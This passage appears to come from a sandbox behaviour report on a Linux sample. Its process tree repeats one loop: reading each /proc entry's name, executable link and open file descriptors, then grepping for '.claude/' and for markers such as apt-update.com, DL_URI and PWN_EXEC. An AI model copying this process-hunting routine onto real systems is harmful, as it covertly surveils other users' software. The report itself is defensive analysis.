  grep -qiE "apt-update\\.com|joker\\.aec944b|\\.claude/|DL_URI|SEC_AES_DEC|XR_CONFIG|PWN_EXEC.*pwb"
  2⤵
  PID:1070
- /usr/bin/basename
  basename /proc/140/
  2⤵
  PID:1071
- /bin/cat
  cat /proc/140//comm
  2⤵
  PID:1073
- /bin/readlink
  readlink /proc/140//exe
  2⤵
  PID:1075
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:1077
- /bin/grep
  grep -F .claude/
  2⤵
  PID:1080
- /bin/ls
  ls -l /proc/140//fd
  2⤵
  PID:1079
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|\\.claude/|DL_URI|SEC_AES_DEC|XR_CONFIG|PWN_EXEC.*pwb"
  2⤵
  PID:1082
- /usr/bin/basename
  basename /proc/15/
  2⤵
  PID:1083
- /bin/cat
  cat /proc/15//comm
  2⤵
  PID:1085
- /bin/readlink
  readlink /proc/15//exe
  2⤵
  PID:1087
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:1089
- /bin/grep
  grep -F .claude/
  2⤵
  PID:1092
- /bin/ls
  ls -l /proc/15//fd
  2⤵
  PID:1091
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|\\.claude/|DL_URI|SEC_AES_DEC|XR_CONFIG|PWN_EXEC.*pwb"
  2⤵
  PID:1094
- /usr/bin/basename
  basename /proc/150/
  2⤵
  PID:1095
- /bin/cat
  cat /proc/150//comm
  2⤵
  PID:1097
- /bin/readlink
  readlink /proc/150//exe
  2⤵
  PID:1099
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:1101
- /bin/ls
  ls -l /proc/150//fd
  2⤵
  PID:1103
- /bin/grep
  grep -F .claude/
  2⤵
  PID:1104
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|\\.claude/|DL_URI|SEC_AES_DEC|XR_CONFIG|PWN_EXEC.*pwb"
  2⤵
  PID:1106
- /usr/bin/basename
  basename /proc/156/
  2⤵
  PID:1107
- /bin/cat
  cat /proc/156//comm
  2⤵
  PID:1109
- /bin/readlink
  readlink /proc/156//exe
  2⤵
  PID:1111
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:1113
- /bin/grep
  grep -F .claude/
  2⤵
  PID:1116
- /bin/ls
  ls -l /proc/156//fd
  2⤵
  PID:1115
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|\\.claude/|DL_URI|SEC_AES_DEC|XR_CONFIG|PWN_EXEC.*pwb"
  2⤵
  PID:1118
- /usr/bin/basename
  basename /proc/16/
  2⤵
  PID:1119
- /bin/cat
  cat /proc/16//comm
  2⤵
  PID:1121
- /bin/readlink
  readlink /proc/16//exe
  2⤵
  PID:1123
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:1125
- /bin/ls
  ls -l /proc/16//fd
  2⤵
  PID:1127
- /bin/grep
  grep -F .claude/
  2⤵
  PID:1128
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|\\.claude/|DL_URI|SEC_AES_DEC|XR_CONFIG|PWN_EXEC.*pwb"
  2⤵
  PID:1130
- /usr/bin/basename
  basename /proc/167/
  2⤵
  PID:1131
- /bin/cat
  cat /proc/167//comm
  2⤵
  PID:1133
- /bin/readlink
  readlink /proc/167//exe
  2⤵
  PID:1135
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:1137
- /bin/ls
  ls -l /proc/167//fd
  2⤵
  PID:1139
- /bin/grep
  grep -F .claude/
  2⤵
  PID:1140
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|\\.claude/|DL_URI|SEC_AES_DEC|XR_CONFIG|PWN_EXEC.*pwb"
  2⤵
  PID:1142
- /usr/bin/basename
  basename /proc/17/
  2⤵
  PID:1143
- /bin/cat
  cat /proc/17//comm
  2⤵
  PID:1145
- /bin/readlink
  readlink /proc/17//exe
  2⤵
  PID:1147
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:1149
- /bin/grep
  grep -F .claude/
  2⤵
  PID:1152
- /bin/ls
  ls -l /proc/17//fd
  2⤵
  PID:1151
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|\\.claude/|DL_URI|SEC_AES_DEC|XR_CONFIG|PWN_EXEC.*pwb"
  2⤵
  PID:1154
- /usr/bin/basename
  basename /proc/18/
  2⤵
  PID:1155
- /bin/cat
  cat /proc/18//comm
  2⤵
  PID:1157
- /bin/readlink
  readlink /proc/18//exe
  2⤵
  PID:1160
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:1162
- /bin/grep
  grep -F .claude/
  2⤵
  PID:1165
- /bin/ls
  ls -l /proc/18//fd
  2⤵
  PID:1164
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|\\.claude/|DL_URI|SEC_AES_DEC|XR_CONFIG|PWN_EXEC.*pwb"
  2⤵
  PID:1167
- /usr/bin/basename
  basename /proc/19/
  2⤵
  PID:1168
- /bin/cat
  cat /proc/19//comm
  2⤵
  PID:1171
- /bin/readlink
  readlink /proc/19//exe
  2⤵
  PID:1173
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:1175
- /bin/grep
  grep -F .claude/
  2⤵
  PID:1178
- /bin/ls
  ls -l /proc/19//fd
  2⤵
  PID:1177
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|\\.claude/|DL_URI|SEC_AES_DEC|XR_CONFIG|PWN_EXEC.*pwb"
  2⤵
  PID:1180
- /usr/bin/basename
  basename /proc/2/
  2⤵
  PID:1181
- /bin/cat
  cat /proc/2//comm
  2⤵
  PID:1183
- /bin/readlink
  readlink /proc/2//exe
  2⤵
  PID:1185
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:1187
- /bin/grep
  grep -F .claude/
  2⤵
  PID:1190
- /bin/ls
  ls -l /proc/2//fd
  2⤵
  PID:1189
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|\\.claude/|DL_URI|SEC_AES_DEC|XR_CONFIG|PWN_EXEC.*pwb"
  2⤵
  PID:1192
- /usr/bin/basename
  basename /proc/20/
  2⤵
  PID:1193
- /bin/cat
  cat /proc/20//comm
  2⤵
  PID:1195
- /bin/readlink
  readlink /proc/20//exe
  2⤵
  PID:1197
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:1199
- /bin/ls
  ls -l /proc/20//fd
  2⤵
  PID:1201
- /bin/grep
  grep -F .claude/
  2⤵
  PID:1202
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|\\.claude/|DL_URI|SEC_AES_DEC|XR_CONFIG|PWN_EXEC.*pwb"
  2⤵
  PID:1204
- /usr/bin/basename
  basename /proc/21/
  2⤵
  PID:1205
- /bin/cat
  cat /proc/21//comm
  2⤵
  PID:1207
- /bin/readlink
  readlink /proc/21//exe
  2⤵
  PID:1209
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:1211
- /bin/ls
  ls -l /proc/21//fd
  2⤵
  PID:1213
- /bin/grep
  grep -F .claude/
  2⤵
  PID:1214
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|\\.claude/|DL_URI|SEC_AES_DEC|XR_CONFIG|PWN_EXEC.*pwb"
  2⤵
  PID:1216
- /usr/bin/basename
  basename /proc/22/
  2⤵
  PID:1217
- /bin/cat
  cat /proc/22//comm
  2⤵
  PID:1219
- /bin/readlink
  readlink /proc/22//exe
  2⤵
  PID:1221
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:1223
- /bin/grep
  grep -F .claude/
  2⤵
  PID:1226
- /bin/ls
  ls -l /proc/22//fd
  2⤵
  PID:1225
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|\\.claude/|DL_URI|SEC_AES_DEC|XR_CONFIG|PWN_EXEC.*pwb"
  2⤵
  PID:1228
- /usr/bin/basename
  basename /proc/228/
  2⤵
  PID:1229
- /bin/cat
  cat /proc/228//comm
  2⤵
  PID:1231
- /bin/readlink
  readlink /proc/228//exe
  2⤵
  PID:1233
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:1235
- /bin/grep
  grep -F .claude/
  2⤵
  PID:1238
- /bin/ls
  ls -l /proc/228//fd
  2⤵
  PID:1237
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|\\.claude/|DL_URI|SEC_AES_DEC|XR_CONFIG|PWN_EXEC.*pwb"
  2⤵
  PID:1240
- /usr/bin/basename
  basename /proc/23/
  2⤵
  PID:1241
- /bin/cat
  cat /proc/23//comm
  2⤵
  PID:1243
- /bin/readlink
  readlink /proc/23//exe
  2⤵
  PID:1245
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:1247
- /bin/ls
  ls -l /proc/23//fd
  2⤵
  PID:1249
- /bin/grep
  grep -F .claude/
  2⤵
  PID:1250
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|\\.claude/|DL_URI|SEC_AES_DEC|XR_CONFIG|PWN_EXEC.*pwb"
  2⤵
  PID:1252
- /usr/bin/basename
  basename /proc/24/
  2⤵
  PID:1253
- /bin/cat
  cat /proc/24//comm
  2⤵
  PID:1255
- /bin/readlink
  readlink /proc/24//exe
  2⤵
  PID:1257
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:1259
- /bin/ls
  ls -l /proc/24//fd
  2⤵
  PID:1261
- /bin/grep
  grep -F .claude/
  2⤵
  PID:1262
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|\\.claude/|DL_URI|SEC_AES_DEC|XR_CONFIG|PWN_EXEC.*pwb"
  2⤵
  PID:1264
- /usr/bin/basename
  basename /proc/25/
  2⤵
  PID:1265
- /bin/cat
  cat /proc/25//comm
  2⤵
  PID:1267
- /bin/readlink
  readlink /proc/25//exe
  2⤵
  PID:1269
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:1271
- /bin/grep
  grep -F .claude/
  2⤵
  PID:1274
- /bin/ls
  ls -l /proc/25//fd
  2⤵
  PID:1273
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|\\.claude/|DL_URI|SEC_AES_DEC|XR_CONFIG|PWN_EXEC.*pwb"
  2⤵
  PID:1276
- /usr/bin/basename
  basename /proc/26/
  2⤵
  PID:1277
- /bin/cat
  cat /proc/26//comm
  2⤵
  PID:1279
- /bin/readlink
  readlink /proc/26//exe
  2⤵
  PID:1281
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:1283
- /bin/ls
  ls -l /proc/26//fd
  2⤵
  PID:1285
- /bin/grep
  grep -F .claude/
  2⤵
  PID:1286
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|\\.claude/|DL_URI|SEC_AES_DEC|XR_CONFIG|PWN_EXEC.*pwb"
  2⤵
  PID:1288
- /usr/bin/basename
  basename /proc/27/
  2⤵
  PID:1289
- /bin/cat
  cat /proc/27//comm
  2⤵
  PID:1291
- /bin/readlink
  readlink /proc/27//exe
  2⤵
  PID:1293
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:1295
- /bin/ls
  ls -l /proc/27//fd
  2⤵
  PID:1297
- /bin/grep
  grep -F .claude/
  2⤵
  PID:1298
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|\\.claude/|DL_URI|SEC_AES_DEC|XR_CONFIG|PWN_EXEC.*pwb"
  2⤵
  PID:1300
- /usr/bin/basename
  basename /proc/28/
  2⤵
  PID:1301
- /bin/cat
  cat /proc/28//comm
  2⤵
  PID:1303
- /bin/readlink
  readlink /proc/28//exe
  2⤵
  PID:1305
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:1307
- /bin/grep
  grep -F .claude/
  2⤵
  PID:1310
- /bin/ls
  ls -l /proc/28//fd
  2⤵
  PID:1309
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|\\.claude/|DL_URI|SEC_AES_DEC|XR_CONFIG|PWN_EXEC.*pwb"
  2⤵
  PID:1312
- /usr/bin/basename
  basename /proc/29/
  2⤵
  PID:1313
- /bin/cat
  cat /proc/29//comm
  2⤵
  PID:1315
- /bin/readlink
  readlink /proc/29//exe
  2⤵
  PID:1317
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:1319
- /bin/grep
  grep -F .claude/
  2⤵
  PID:1322
- /bin/ls
  ls -l /proc/29//fd
  2⤵
  PID:1321
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|\\.claude/|DL_URI|SEC_AES_DEC|XR_CONFIG|PWN_EXEC.*pwb"
  2⤵
  PID:1324
- /usr/bin/basename
  basename /proc/294/
  2⤵
  PID:1325
- /bin/cat
  cat /proc/294//comm
  2⤵
  PID:1327
- /bin/readlink
  readlink /proc/294//exe
  2⤵
  PID:1329
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:1331
- /bin/grep
  grep -F .claude/
  2⤵
  PID:1334
- /bin/ls
  ls -l /proc/294//fd
  2⤵
  PID:1333
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|\\.claude/|DL_URI|SEC_AES_DEC|XR_CONFIG|PWN_EXEC.*pwb"
  2⤵
  PID:1336
- /usr/bin/basename
  basename /proc/297/
  2⤵
  PID:1337
- /bin/cat
  cat /proc/297//comm
  2⤵
  PID:1339
- /bin/readlink
  readlink /proc/297//exe
  2⤵
  PID:1341
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:1343
- /bin/grep
  grep -F .claude/
  2⤵
  PID:1346
- /bin/ls
  ls -l /proc/297//fd
  2⤵
  PID:1345
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|\\.claude/|DL_URI|SEC_AES_DEC|XR_CONFIG|PWN_EXEC.*pwb"
  2⤵
  PID:1348
- /usr/bin/basename
  basename /proc/3/
  2⤵
  PID:1349
- /bin/cat
  cat /proc/3//comm
  2⤵
  PID:1351
- /bin/readlink
  readlink /proc/3//exe
  2⤵
  PID:1353
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:1355
- /bin/grep
  grep -F .claude/
  2⤵
  PID:1358
- /bin/ls
  ls -l /proc/3//fd
  2⤵
  PID:1357
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|\\.claude/|DL_URI|SEC_AES_DEC|XR_CONFIG|PWN_EXEC.*pwb"
  2⤵
  PID:1360
- /usr/bin/basename
  basename /proc/300/
  2⤵
  PID:1361
- /bin/cat
  cat /proc/300//comm
  2⤵
  PID:1363
- /bin/readlink
  readlink /proc/300//exe
  2⤵
  PID:1365
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:1367
- /bin/ls
  ls -l /proc/300//fd
  2⤵
  PID:1369
- /bin/grep
  grep -F .claude/
  2⤵
  PID:1370
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|\\.claude/|DL_URI|SEC_AES_DEC|XR_CONFIG|PWN_EXEC.*pwb"
  2⤵
  PID:1372
- /usr/bin/basename
  basename /proc/302/
  2⤵
  PID:1373
- /bin/cat
  cat /proc/302//comm
  2⤵
  PID:1375
- /bin/readlink
  readlink /proc/302//exe
  2⤵
  PID:1377
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:1379
- /bin/grep
  grep -F .claude/
  2⤵
  PID:1382
- /bin/ls
  ls -l /proc/302//fd
  2⤵
  PID:1381
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|\\.claude/|DL_URI|SEC_AES_DEC|XR_CONFIG|PWN_EXEC.*pwb"
  2⤵
  PID:1384
- /usr/bin/basename
  basename /proc/306/
  2⤵
  PID:1385
- /bin/cat
  cat /proc/306//comm
  2⤵
  PID:1387
- /bin/readlink
  readlink /proc/306//exe
  2⤵
  PID:1389
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:1391
- /bin/ls
  ls -l /proc/306//fd
  2⤵
  PID:1393
- /bin/grep
  grep -F .claude/
  2⤵
  PID:1394
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|\\.claude/|DL_URI|SEC_AES_DEC|XR_CONFIG|PWN_EXEC.*pwb"
  2⤵
  PID:1396
- /usr/bin/basename
  basename /proc/316/
  2⤵
  PID:1397
- /bin/cat
  cat /proc/316//comm
  2⤵
  PID:1399
- /bin/readlink
  readlink /proc/316//exe
  2⤵
  PID:1401
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:1403
- /bin/grep
  grep -F .claude/
  2⤵
  PID:1406
- /bin/ls
  ls -l /proc/316//fd
  2⤵
  PID:1405
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|\\.claude/|DL_URI|SEC_AES_DEC|XR_CONFIG|PWN_EXEC.*pwb"
  2⤵
  PID:1408
- /usr/bin/basename
  basename /proc/318/
  2⤵
  PID:1409
- /bin/cat
  cat /proc/318//comm
  2⤵
  PID:1411
- /bin/readlink
  readlink /proc/318//exe
  2⤵
  PID:1413
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:1415
- /bin/grep
  grep -F .claude/
  2⤵
  PID:1418
- /bin/ls
  ls -l /proc/318//fd
  2⤵
  PID:1417
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|\\.claude/|DL_URI|SEC_AES_DEC|XR_CONFIG|PWN_EXEC.*pwb"
  2⤵
  PID:1420
- /usr/bin/basename
  basename /proc/329/
  2⤵
  PID:1421
- /bin/cat
  cat /proc/329//comm
  2⤵
  PID:1423
- /bin/readlink
  readlink /proc/329//exe
  2⤵
  PID:1425
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:1427
- /bin/grep
  grep -F .claude/
  2⤵
  PID:1430
- /bin/ls
  ls -l /proc/329//fd
  2⤵
  PID:1429
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|\\.claude/|DL_URI|SEC_AES_DEC|XR_CONFIG|PWN_EXEC.*pwb"
  2⤵
  PID:1432
- /usr/bin/basename
  basename /proc/335/
  2⤵
  PID:1433
- /bin/cat
  cat /proc/335//comm
  2⤵
  PID:1435
- /bin/readlink
  readlink /proc/335//exe
  2⤵
  PID:1437
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:1439
- /bin/grep
  grep -F .claude/
  2⤵
  PID:1442
- /bin/ls
  ls -l /proc/335//fd
  2⤵
  PID:1441
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|\\.claude/|DL_URI|SEC_AES_DEC|XR_CONFIG|PWN_EXEC.*pwb"
  2⤵
  PID:1444
- /usr/bin/basename
  basename /proc/4/
  2⤵
  PID:1445
- /bin/cat
  cat /proc/4//comm
  2⤵
  PID:1447
- /bin/readlink
  readlink /proc/4//exe
  2⤵
  PID:1449
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:1451
- /bin/ls
  ls -l /proc/4//fd
  2⤵
  PID:1453
- /bin/grep
  grep -F .claude/
  2⤵
  PID:1454
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|\\.claude/|DL_URI|SEC_AES_DEC|XR_CONFIG|PWN_EXEC.*pwb"
  2⤵
  PID:1456
- /usr/bin/basename
  basename /proc/41/
  2⤵
  PID:1457
- /bin/cat
  cat /proc/41//comm
  2⤵
  - Reads runtime system information
  PID:1459
- /bin/readlink
  readlink /proc/41//exe
  2⤵
  PID:1461
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:1463
- /bin/grep
  grep -F .claude/
  2⤵
  PID:1466
- /bin/ls
  ls -l /proc/41//fd
  2⤵
  PID:1465
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|\\.claude/|DL_URI|SEC_AES_DEC|XR_CONFIG|PWN_EXEC.*pwb"
  2⤵
  PID:1468
- /usr/bin/basename
  basename /proc/42/
  2⤵
  PID:1469
- /bin/cat
  cat /proc/42//comm
  2⤵
  PID:1471
- /bin/readlink
  readlink /proc/42//exe
  2⤵
  PID:1473
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:1475
- /bin/ls
  ls -l /proc/42//fd
  2⤵
  PID:1477
- /bin/grep
  grep -F .claude/
  2⤵
  PID:1478
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|\\.claude/|DL_URI|SEC_AES_DEC|XR_CONFIG|PWN_EXEC.*pwb"
  2⤵
  PID:1480
- /usr/bin/basename
  basename /proc/43/
  2⤵
  PID:1481
- /bin/cat
  cat /proc/43//comm
  2⤵
  - Reads runtime system information
  PID:1483
- /bin/readlink
  readlink /proc/43//exe
  2⤵
  PID:1485
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:1487
- /bin/ls
  ls -l /proc/43//fd
  2⤵
  PID:1489
- /bin/grep
  grep -F .claude/
  2⤵
  PID:1490
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|\\.claude/|DL_URI|SEC_AES_DEC|XR_CONFIG|PWN_EXEC.*pwb"
  2⤵
  PID:1492
- /usr/bin/basename
  basename /proc/5/
  2⤵
  PID:1493
- /bin/cat
  cat /proc/5//comm
  2⤵
  PID:1495
- /bin/readlink
  readlink /proc/5//exe
  2⤵
  PID:1497
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:1499
- /bin/grep
  grep -F .claude/
  2⤵
  PID:1502
- /bin/ls
  ls -l /proc/5//fd
  2⤵
  PID:1501
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|\\.claude/|DL_URI|SEC_AES_DEC|XR_CONFIG|PWN_EXEC.*pwb"
  2⤵
  PID:1504
- /usr/bin/basename
  basename /proc/573/
  2⤵
  PID:1505
- /bin/cat
  cat /proc/573//comm
  2⤵
  PID:1507
- /bin/readlink
  readlink /proc/573//exe
  2⤵
  PID:1509
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:1511
- /bin/grep
  grep -F .claude/
  2⤵
  PID:1514
- /bin/ls
  ls -l /proc/573//fd
  2⤵
  PID:1513
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|\\.claude/|DL_URI|SEC_AES_DEC|XR_CONFIG|PWN_EXEC.*pwb"
  2⤵
  PID:1516
- /usr/bin/basename
  basename /proc/582/
  2⤵
  PID:1517
- /bin/cat
  cat /proc/582//comm
  2⤵
  PID:1519
- /bin/readlink
  readlink /proc/582//exe
  2⤵
  PID:1521
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:1523
- /bin/ls
  ls -l /proc/582//fd
  2⤵
  PID:1525
- /bin/grep
  grep -F .claude/
  2⤵
  PID:1526
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|\\.claude/|DL_URI|SEC_AES_DEC|XR_CONFIG|PWN_EXEC.*pwb"
  2⤵
  PID:1528
- /usr/bin/basename
  basename /proc/583/
  2⤵
  PID:1529
- /bin/cat
  cat /proc/583//comm
  2⤵
  PID:1531
- /bin/readlink
  readlink /proc/583//exe
  2⤵
  PID:1533
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:1535
- /bin/ls
  ls -l /proc/583//fd
  2⤵
  PID:1537
- /bin/grep
  grep -F .claude/
  2⤵
  PID:1538
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|\\.claude/|DL_URI|SEC_AES_DEC|XR_CONFIG|PWN_EXEC.*pwb"
  2⤵
  PID:1540
- /usr/bin/basename
  basename /proc/588/
  2⤵
  PID:1541
- /bin/cat
  cat /proc/588//comm
  2⤵
  PID:1543
- /bin/readlink
  readlink /proc/588//exe
  2⤵
  PID:1545
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:1547
- /bin/ls
  ls -l /proc/588//fd
  2⤵
  PID:1549
- /bin/grep
  grep -F .claude/
  2⤵
  PID:1550
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|\\.claude/|DL_URI|SEC_AES_DEC|XR_CONFIG|PWN_EXEC.*pwb"
  2⤵
  PID:1552
- /usr/bin/basename
  basename /proc/6/
  2⤵
  PID:1553
- /bin/cat
  cat /proc/6//comm
  2⤵
  PID:1555
- /bin/readlink
  readlink /proc/6//exe
  2⤵
  PID:1557
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:1559
- /bin/ls
  ls -l /proc/6//fd
  2⤵
  PID:1561
- /bin/grep
  grep -F .claude/
  2⤵
  PID:1562
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|\\.claude/|DL_URI|SEC_AES_DEC|XR_CONFIG|PWN_EXEC.*pwb"
  2⤵
  PID:1564
- /usr/bin/basename
  basename /proc/605/
  2⤵
  PID:1565
- /bin/cat
  cat /proc/605//comm
  2⤵
  PID:1567
- /bin/readlink
  readlink /proc/605//exe
  2⤵
  PID:1569
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:1571
- /bin/grep
  grep -F .claude/
  2⤵
  PID:1574
- /bin/ls
  ls -l /proc/605//fd
  2⤵
  PID:1573
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|\\.claude/|DL_URI|SEC_AES_DEC|XR_CONFIG|PWN_EXEC.*pwb"
  2⤵
  PID:1576
- /usr/bin/basename
  basename /proc/640/
  2⤵
  PID:1577
- /bin/cat
  cat /proc/640//comm
  2⤵
  PID:1579
- /bin/readlink
  readlink /proc/640//exe
  2⤵
  PID:1581
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:1583
- /bin/grep
  grep -F .claude/
  2⤵
  PID:1586
- /bin/ls
  ls -l /proc/640//fd
  2⤵
  PID:1585
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|\\.claude/|DL_URI|SEC_AES_DEC|XR_CONFIG|PWN_EXEC.*pwb"
  2⤵
  PID:1588
- /usr/bin/basename
  basename /proc/648/
  2⤵
  PID:1589
- /bin/cat
  cat /proc/648//comm
  2⤵
  PID:1591
- /bin/readlink
  readlink /proc/648//exe
  2⤵
  PID:1593
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:1595
- /bin/ls
  ls -l /proc/648//fd
  2⤵
  PID:1597
- /bin/grep
  grep -F .claude/
  2⤵
  PID:1598
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|\\.claude/|DL_URI|SEC_AES_DEC|XR_CONFIG|PWN_EXEC.*pwb"
  2⤵
  PID:1600
- /usr/bin/basename
  basename /proc/649/
  2⤵
  PID:1601
- /bin/cat
  cat /proc/649//comm
  2⤵
  - Reads runtime system information
  PID:1603
- /bin/readlink
  readlink /proc/649//exe
  2⤵
  PID:1605
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:1607
- /bin/grep
  grep -F .claude/
  2⤵
  PID:1610
- /bin/ls
  ls -l /proc/649//fd
  2⤵
  PID:1609
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|\\.claude/|DL_URI|SEC_AES_DEC|XR_CONFIG|PWN_EXEC.*pwb"
  2⤵
  PID:1612
- /usr/bin/basename
  basename /proc/650/
  2⤵
  PID:1613
- /bin/cat
  cat /proc/650//comm
  2⤵
  PID:1615
- /bin/readlink
  readlink /proc/650//exe
  2⤵
  PID:1617
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:1619
- /bin/grep
  grep -F .claude/
  2⤵
  PID:1622
- /bin/ls
  ls -l /proc/650//fd
  2⤵
  PID:1621
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|\\.claude/|DL_URI|SEC_AES_DEC|XR_CONFIG|PWN_EXEC.*pwb"
  2⤵
  PID:1624
- /usr/bin/basename
  basename /proc/651/
  2⤵
  PID:1625
- /usr/bin/basename
  basename /proc/670/
  2⤵
  PID:1626
- /bin/cat
  cat /proc/670//comm
  2⤵
  PID:1628
- /bin/readlink
  readlink /proc/670//exe
  2⤵
  PID:1630
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:1632
- /bin/grep
  grep -F .claude/
  2⤵
  PID:1635
- /bin/ls
  ls -l /proc/670//fd
  2⤵
  PID:1634
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|\\.claude/|DL_URI|SEC_AES_DEC|XR_CONFIG|PWN_EXEC.*pwb"
  2⤵
  PID:1637
- /usr/bin/basename
  basename /proc/7/
  2⤵
  PID:1638
- /bin/cat
  cat /proc/7//comm
  2⤵
  PID:1640
- /bin/readlink
  readlink /proc/7//exe
  2⤵
  PID:1642
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:1644
- /bin/grep
  grep -F .claude/
  2⤵
  PID:1647
- /bin/ls
  ls -l /proc/7//fd
  2⤵
  PID:1646
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|\\.claude/|DL_URI|SEC_AES_DEC|XR_CONFIG|PWN_EXEC.*pwb"
  2⤵
  PID:1649
- /usr/bin/basename
  basename /proc/75/
  2⤵
  PID:1650
- /bin/cat
  cat /proc/75//comm
  2⤵
  PID:1652
- /bin/readlink
  readlink /proc/75//exe
  2⤵
  PID:1654
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:1656
- /bin/grep
  grep -F .claude/
  2⤵
  PID:1659
- /bin/ls
  ls -l /proc/75//fd
  2⤵
  PID:1658
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|\\.claude/|DL_URI|SEC_AES_DEC|XR_CONFIG|PWN_EXEC.*pwb"
  2⤵
  PID:1661
- /usr/bin/basename
  basename /proc/8/
  2⤵
  PID:1662
- /bin/cat
  cat /proc/8//comm
  2⤵
  PID:1664
- /bin/readlink
  readlink /proc/8//exe
  2⤵
  PID:1666
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:1668
- /bin/grep
  grep -F .claude/
  2⤵
  PID:1671
- /bin/ls
  ls -l /proc/8//fd
